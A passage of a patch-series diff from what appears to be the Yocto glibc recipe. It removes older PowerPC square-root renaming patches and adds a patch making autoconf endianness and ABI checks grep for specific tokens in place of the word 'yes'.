-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0009-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0009-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index 8a5d6d8b7f..0000000000
--- a/meta/recipes-core/glibc/glibc/0009-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,387 +0,0 @@
-From a0fcb9135bc8c2b9d8a161d166b6f9d56d7af245 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:16:38 +0000
-Subject: [PATCH 09/28] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 8 +++++++-
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 8 ++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 8 ++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 9 ++++++++-
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 12 ++++++++++--
- 12 files changed, 114 insertions(+), 21 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 1795fd6c3e..daa83f3fe8 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index a917f313ab..b812cf1705 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,10 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index fc4a74990e..1c34244bd8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 9d175122a8..812653558f 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 1795fd6c3e..13a81973e3 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index a917f313ab..fae2d81210 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,11 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch
new file mode 100644
index 0000000000..77644a2ee3
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch
@@ -0,0 +1,260 @@
+From f6e96a95212bc1fef57b9594a7dddc0c20639873 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:31:06 +0000
+Subject: [PATCH] 'yes' within the path sets wrong config variables
+
+It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
+but being such a short word to grep it is likely to produce
+false-positive matches with the path it is configured into.
+
+The change is to use a more elaborated string to grep for.
+
+Upstream-Status: Submitted [libc-alpha@sourceware.org]
+
+Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/aarch64/configure | 4 ++--
+ sysdeps/aarch64/configure.ac | 4 ++--
+ sysdeps/arm/configure | 4 ++--
+ sysdeps/arm/configure.ac | 4 ++--
+ sysdeps/mips/configure | 4 ++--
+ sysdeps/mips/configure.ac | 4 ++--
+ sysdeps/nios2/configure | 4 ++--
+ sysdeps/nios2/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure | 4 ++--
+ sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
+ sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
+ 12 files changed, 28 insertions(+), 28 deletions(-)
+
+diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
+index 4c1fac49f3..597314f476 100644
+--- a/sysdeps/aarch64/configure
++++ b/sysdeps/aarch64/configure
+@@ -157,12 +157,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __AARCH64EB__
+- yes
++ is_aarch64_be
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_aarch64_be" >/dev/null 2>&1; then :
+ libc_cv_aarch64_be=yes
+ else
+ libc_cv_aarch64_be=no
+diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
+index 3347c13fa1..4af163c0b6 100644
+--- a/sysdeps/aarch64/configure.ac
++++ b/sysdeps/aarch64/configure.ac
+@@ -17,8 +17,8 @@ AC_DEFINE(SUPPORT_STATIC_PIE)
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_aarch64_be],
+- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
+- yes
++ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
++ is_aarch64_be
+ #endif
+ ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
+ if test $libc_cv_aarch64_be = yes; then
+diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
+index 431e843b2b..e152461138 100644
+--- a/sysdeps/arm/configure
++++ b/sysdeps/arm/configure
+@@ -151,12 +151,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __ARM_PCS_VFP
+- yes
++ use_arm_pcs_vfp
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1; then :
+ libc_cv_arm_pcs_vfp=yes
+ else
+ libc_cv_arm_pcs_vfp=no
+diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
+index 90cdd69c75..05a262ba00 100644
+--- a/sysdeps/arm/configure.ac
++++ b/sysdeps/arm/configure.ac
+@@ -15,8 +15,8 @@ AC_DEFINE(PI_STATIC_AND_HIDDEN)
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
+ [libc_cv_arm_pcs_vfp],
+- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
+- yes
++ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
++ use_arm_pcs_vfp
+ #endif
+ ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
+ if test $libc_cv_arm_pcs_vfp = yes; then
+diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
+index 4e13248c03..f14af952d0 100644
+--- a/sysdeps/mips/configure
++++ b/sysdeps/mips/configure
+@@ -143,11 +143,11 @@ else
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
+ libc_cv_mips_nan2008=yes
+ else
+ libc_cv_mips_nan2008=no
+diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
+index bcbdaffd9f..ad3057f4cc 100644
+--- a/sysdeps/mips/configure.ac
++++ b/sysdeps/mips/configure.ac
+@@ -6,9 +6,9 @@ dnl position independent way.
+ dnl AC_DEFINE(PI_STATIC_AND_HIDDEN)
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+ if test x$libc_cv_mips_nan2008 = xyes; then
+ AC_DEFINE(HAVE_MIPS_NAN2008)
+diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
+index 14c8a3a014..dde3814ef2 100644
+--- a/sysdeps/nios2/configure
++++ b/sysdeps/nios2/configure
+@@ -142,12 +142,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __nios2_big_endian__
+- yes
++ is_nios2_be
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_nios2_be" >/dev/null 2>&1; then :
+ libc_cv_nios2_be=yes
+ else
+ libc_cv_nios2_be=no
+diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
+index f05f43802b..dc8639902d 100644
+--- a/sysdeps/nios2/configure.ac
++++ b/sysdeps/nios2/configure.ac
+@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
+ # Nios II big endian is not yet supported.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_nios2_be],
+- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
+- yes
++ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
++ is_nios2_be
+ #endif
+ ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
+ if test $libc_cv_nios2_be = yes; then
+diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
+index f25f2a3a65..1b7483e6c6 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure
++++ b/sysdeps/unix/sysv/linux/mips/configure
+@@ -414,11 +414,11 @@ else
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
+ libc_cv_mips_nan2008=yes
+ else
+ libc_cv_mips_nan2008=no
+diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
+index 049a0f4bdf..005526d4e8 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure.ac
++++ b/sysdeps/unix/sysv/linux/mips/configure.ac
+@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
+ LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+
+ libc_mips_nan=
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+index ae7f254da4..874519000b 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+@@ -155,12 +155,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #if _CALL_ELF == 2
+- yes
++ use_ppc_elfv2_abi
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1; then :
+ libc_cv_ppc64_elfv2_abi=yes
+ else
+ libc_cv_ppc64_elfv2_abi=no
+@@ -188,12 +188,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef _CALL_ELF
+- yes
++ is_def_call_elf
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_def_call_elf" >/dev/null 2>&1; then :
+ libc_cv_ppc64_def_call_elf=yes
+ else
+ libc_cv_ppc64_def_call_elf=no
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+index f9cba6e15d..b21f72f1e4 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
